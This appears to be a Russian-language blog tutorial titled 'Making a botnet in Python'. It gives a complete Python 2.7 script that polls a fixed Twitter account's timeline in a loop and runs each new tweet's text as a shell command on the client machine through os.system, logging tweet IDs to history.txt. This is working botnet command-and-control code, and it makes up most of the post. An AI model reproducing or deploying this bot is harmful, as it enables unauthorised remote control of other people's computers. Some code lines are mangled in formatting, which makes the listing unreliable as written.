Найти в Дзене
Удалёнка

Делаем ботнет на Python

Мы создадим простого управляемого бота, который будет получать команды из ленты твиттера и выполнять их на клиентской машине. Для работы с Twitter API, установите пакет python-twitter.

pip install python-twitter

В качестве рабочего окружения я буду использовать python2.7 под virtualenv, и один из дистрибутивов GNU/Linux. Программа-клиент будет работать в бесконечном цикле, периодически получая команды из твиттера.

Сохраните следующий код в файле twibot.py.

#!/usr/bin/env python #!-*- coding: utf-8 -*-
import os
import time
import string

import twitter

# Задержка между запросами в секундах REQUEST_DELAY = 2 # Аккаунт Twitter для управления TWITTER_USERNAME = 'John1698736' # Формат даты, отдаваемой API твиттера DATE_FORMAT = '%a %b %d %H:%M:%S +0000 %Y' # Имя файла для записи истории "выполненных" твитов LOG_FILE = 'history.txt'
api = twitter.Api()

while True:
statuses = api.GetUserTimeline(TWITTER_USERNAME)
try:
command = statuses[0]
except IndexError:
command =
None
if isinstance(command, twitter.Status):
with open(LOG_FILE, 'a+') as f:
history = string.split(f.read(), "\n")
if not str(command.id) in history:
os.system(command.text)
f.write(str(command.id) + "\n")
f.closed

time.sleep(REQUEST_DELAY)

Имя вашего Twitter-аккаунта необходимо задать в переменной TWITTER_USERNAME.

Запустим и проверим работу нашего скрипта.

./twibot.py

Теперь опубликуем тестовый твит.

-2

Снова откроем окно с запущенным ботом, и подождем пару секунд.

-3

Скрипт «исполняет» самый последний твит в ленте пользователя. Перед выполнением команды, в файле history.txt проверяется наличие идентификатора текущего сообщения. Если идентификатор был найден, значит твит уже «выполнялся» ранее.

Иначе, происходит «выполнение» текущего твита, после чего в history.txt записывается номер текущего сообщения.